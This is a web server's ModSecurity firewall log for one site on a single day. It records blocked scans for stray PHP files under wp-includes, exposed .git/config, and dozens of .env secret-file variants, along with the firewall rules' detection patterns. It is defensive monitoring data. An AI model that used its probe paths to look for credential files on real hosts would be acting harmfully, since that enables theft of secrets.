[Sat Nov 29 02:58:56.750282 2025] [:error] [pid 9655:tid 9695] [client 20.251.207.36:20788] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSnw8E06gYqtNcz_Y884FAAAAAo"], referer: https://duckduckgo.com/
[Sat Nov 29 02:59:01.552350 2025] [:error] [pid 23146:tid 23153] [client 20.251.207.36:20747] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSnw9R_ijGQmz4nDkmt-sgAAA4M"], referer: https://www.google.co.uk/
[Sat Nov 29 02:59:04.923463 2025] [:error] [pid 9655:tid 9700] [client 20.251.207.36:20784] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSnw-E06gYqtNcz_Y884FgAAAA8"], referer: https://www.google.com/
[Sat Nov 29 02:59:24.995160 2025] [:error] [pid 22884:tid 22898] [client 20.251.207.36:20708] [client 20.251.207.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSnxDBuFbnIkrn5EpdRRaQAAAgw"], referer: https://www.google.co.uk/
[Sat Nov 29 05:24:43.526464 2025] [:error] [pid 53818:tid 53867] [client 138.197.94.71:38388] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSoTG5Y2lVKaQoKCJUK_kQAAAFI"]
[Sat Nov 29 05:24:44.604677 2025] [:error] [pid 22280:tid 22305] [client 138.197.94.71:43294] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSoTHJFKJ7cA_ndzTYspIQAAAVc"]
[Sat Nov 29 05:35:10.209214 2025] [:error] [pid 19562:tid 19572] [client 121.127.34.120:60784] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/user-registration/readme.txt"] [unique_id "aSoVjl4oDK0S9prYl7lcEwAAAQg"]
[Sat Nov 29 05:35:10.820051 2025] [:error] [pid 22939:tid 22965] [client 121.127.34.120:50962] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/user-registration/readme.txt"] [unique_id "aSoVjtRbdh0p_UmbHuB-5AAAAZg"]
[Sat Nov 29 05:35:11.418432 2025] [:error] [pid 22939:tid 22958] [client 121.127.34.120:51960] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/user-registration/readme.txt"] [unique_id "aSoVj9Rbdh0p_UmbHuB-5wAAAZE"]
[Sat Nov 29 05:35:22.819785 2025] [:error] [pid 53818:tid 53852] [client 121.127.34.120:50269] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/iwjob/assets/css/style.css"] [unique_id "aSoVmpY2lVKaQoKCJULBQAAAAEM"]
[Sat Nov 29 05:35:23.419574 2025] [:error] [pid 19562:tid 19575] [client 121.127.34.120:54128] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/iwjob/assets/css/style.css"] [unique_id "aSoVm14oDK0S9prYl7lcIQAAAQs"]
[Sat Nov 29 05:35:25.143599 2025] [:error] [pid 53818:tid 53872] [client 121.127.34.120:56677] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/golo/style.css"] [unique_id "aSoVnZY2lVKaQoKCJULBQgAAAFc"]
[Sat Nov 29 05:35:25.743306 2025] [:error] [pid 53906:tid 53921] [client 121.127.34.120:57541] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/golo/style.css"] [unique_id "aSoVnZaQHRVpydtRoVcARQAAAM0"]
[Sat Nov 29 05:35:27.072697 2025] [:error] [pid 53906:tid 53914] [client 121.127.34.120:58632] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/suretriggers/readme.txt"] [unique_id "aSoVn5aQHRVpydtRoVcASgAAAMY"]
[Sat Nov 29 05:35:27.673306 2025] [:error] [pid 53817:tid 53840] [client 121.127.34.120:60849] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/suretriggers/readme.txt"] [unique_id "aSoVnxUtaHwNb4_nTTSopQAAABM"]
[Sat Nov 29 05:35:28.294827 2025] [:error] [pid 53906:tid 53909] [client 121.127.34.120:61982] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/suretriggers/readme.txt"] [unique_id "aSoVoJaQHRVpydtRoVcASwAAAME"]
[Sat Nov 29 05:35:28.895409 2025] [:error] [pid 53906:tid 53926] [client 121.127.34.120:63027] [client 121.127.34.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/suretriggers/readme.txt"] [unique_id "aSoVoJaQHRVpydtRoVcATAAAANI"]
[Sat Nov 29 06:03:37.913472 2025] [:error] [pid 53906:tid 53911] [client 217.146.83.115:58458] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aSocOZaQHRVpydtRoVcK9wAAAMM"]
[Sat Nov 29 06:03:38.425504 2025] [:error] [pid 53906:tid 53932] [client 217.146.83.115:58788] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aSocOpaQHRVpydtRoVcK_QAAANg"]
[Sat Nov 29 06:03:38.941954 2025] [:error] [pid 53906:tid 53927] [client 217.146.83.115:59134] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aSocOpaQHRVpydtRoVcLBgAAANM"]
[Sat Nov 29 06:03:39.456455 2025] [:error] [pid 53817:tid 53826] [client 217.146.83.115:59596] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aSocOxUtaHwNb4_nTTSxOQAAAAU"]
[Sat Nov 29 06:03:39.981807 2025] [:error] [pid 53817:tid 53838] [client 217.146.83.115:59970] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aSocOxUtaHwNb4_nTTSxTgAAABE"]
[Sat Nov 29 06:03:40.755852 2025] [:error] [pid 53819:tid 53880] [client 217.146.83.115:60332] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocPLrEG0migocqTWfAjQAAAIQ"]
[Sat Nov 29 06:03:41.269234 2025] [:error] [pid 53818:tid 53861] [client 217.146.83.115:60830] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocPZY2lVKaQoKCJULKLgAAAEw"]
[Sat Nov 29 06:03:41.789418 2025] [:error] [pid 19562:tid 19576] [client 217.146.83.115:32900] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocPV4oDK0S9prYl7lpUAAAAQw"]
[Sat Nov 29 06:03:42.312313 2025] [:error] [pid 22939:tid 22957] [client 217.146.83.115:33254] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocPtRbdh0p_UmbHuCIdgAAAZA"]
[Sat Nov 29 06:03:42.826772 2025] [:error] [pid 19562:tid 19583] [client 217.146.83.115:33596] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocPl4oDK0S9prYl7lpbwAAARM"]
[Sat Nov 29 06:28:22.855642 2025] [:error] [pid 19562:tid 19568] [client 221.229.106.25:58070] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSoiBl4oDK0S9prYl7mE8gAAAQQ"]
[Sat Nov 29 09:52:34.107421 2025] [:error] [pid 20827:tid 20865] [client 43.173.1.57:53184] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSpR4oR9B7FcLfh1rSEaLwAAAEc"]
[Sat Nov 29 11:36:09.079189 2025] [:error] [pid 20828:tid 20909] [client 138.197.94.71:60166] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSpqKeqW2f0jLRABAORAKQAAAJc"]
[Sat Nov 29 11:36:10.312126 2025] [:error] [pid 62619:tid 62631] [client 138.197.94.71:40116] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSpqKtk7ZYKT63FfVSUB7wAAAUo"]
[Sat Nov 29 12:57:40.579361 2025] [:error] [pid 16610:tid 16631] [client 138.197.94.71:39250] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSp9RATu2dLzNk_QISrPXAAAAZM"]
[Sat Nov 29 12:57:42.195719 2025] [:error] [pid 20828:tid 20892] [client 138.197.94.71:52474] [client 138.197.94.71] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSp9RuqW2f0jLRABAORRIQAAAIc"]
[Sat Nov 29 13:09:42.105065 2025] [:error] [pid 25341:tid 25355] [client 13.38.128.166:56354] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aSqAFvWK8JdN03Mg7dzpRAAAAco"]
[Sat Nov 29 13:09:42.105401 2025] [:error] [pid 20915:tid 20917] [client 13.38.128.166:56356] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSqAFlOOtKw1QZ3TPESk7QAAAMA"]
[Sat Nov 29 13:09:42.106107 2025] [:error] [pid 20915:tid 20932] [client 13.38.128.166:56358] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aSqAFlOOtKw1QZ3TPESk7gAAAM8"]
[Sat Nov 29 13:09:42.106889 2025] [:error] [pid 20826:tid 20845] [client 13.38.128.166:56360] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aSqAFvABfBqk70vKX9R2jAAAAA8"]
[Sat Nov 29 13:09:42.273511 2025] [:error] [pid 62619:tid 62624] [client 13.38.128.166:56366] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aSqAFtk7ZYKT63FfVSUhVAAAAUM"]
[Sat Nov 29 13:09:42.273484 2025] [:error] [pid 62619:tid 62644] [client 13.38.128.166:56368] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aSqAFtk7ZYKT63FfVSUhUwAAAVc"]
[Sat Nov 29 13:09:42.273665 2025] [:error] [pid 20915:tid 20929] [client 13.38.128.166:56370] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aSqAFlOOtKw1QZ3TPESk8AAAAMw"]
[Sat Nov 29 13:09:42.274077 2025] [:error] [pid 20915:tid 20937] [client 13.38.128.166:56374] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aSqAFlOOtKw1QZ3TPESk8QAAANQ"]
[Sat Nov 29 13:09:42.274600 2025] [:error] [pid 20915:tid 20928] [client 13.38.128.166:56378] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aSqAFlOOtKw1QZ3TPESk8gAAAMs"]
[Sat Nov 29 13:09:42.274857 2025] [:error] [pid 62619:tid 62633] [client 13.38.128.166:56372] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aSqAFtk7ZYKT63FfVSUhVQAAAUw"]
[Sat Nov 29 13:09:42.275087 2025] [:error] [pid 62619:tid 62621] [client 13.38.128.166:56376] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aSqAFtk7ZYKT63FfVSUhVgAAAUA"]
[Sat Nov 29 13:09:42.275461 2025] [:error] [pid 20915:tid 20922] [client 13.38.128.166:56362] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aSqAFlOOtKw1QZ3TPESk9AAAAMU"]
[Sat Nov 29 13:09:42.276181 2025] [:error] [pid 20915:tid 20935] [client 13.38.128.166:56364] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aSqAFlOOtKw1QZ3TPESk8wAAANI"]
[Sat Nov 29 13:09:42.776745 2025] [:error] [pid 20828:tid 20904] [client 13.38.128.166:56434] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aSqAFuqW2f0jLRABAORSlAAAAJM"]
[Sat Nov 29 13:09:42.777088 2025] [:error] [pid 20828:tid 20899] [client 13.38.128.166:56460] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aSqAFuqW2f0jLRABAORSlQAAAI4"]
[Sat Nov 29 13:09:42.777800 2025] [:error] [pid 20915:tid 20927] [client 13.38.128.166:56458] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aSqAFlOOtKw1QZ3TPESk9QAAAMo"]
[Sat Nov 29 13:09:42.777886 2025] [:error] [pid 20828:tid 20907] [client 13.38.128.166:56540] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aSqAFuqW2f0jLRABAORSlwAAAJU"]
[Sat Nov 29 13:09:42.777975 2025] [:error] [pid 20828:tid 20889] [client 13.38.128.166:56462] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aSqAFuqW2f0jLRABAORSlgAAAIQ"]
[Sat Nov 29 13:09:43.405450 2025] [:error] [pid 20915:tid 20933] [client 13.38.128.166:56610] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/app/.env"] [unique_id "aSqAF1OOtKw1QZ3TPESk9gAAANA"]
[Sat Nov 29 13:09:45.049658 2025] [:error] [pid 32136:tid 32160] [client 13.38.128.166:56748] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSqAGcSj_WSVQM1psKpKPwAAARY"]
[Sat Nov 29 13:09:45.285795 2025] [:error] [pid 20915:tid 20920] [client 13.38.128.166:56838] [client 13.38.128.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/.env"] [unique_id "aSqAGVOOtKw1QZ3TPESk9wAAAMM"]
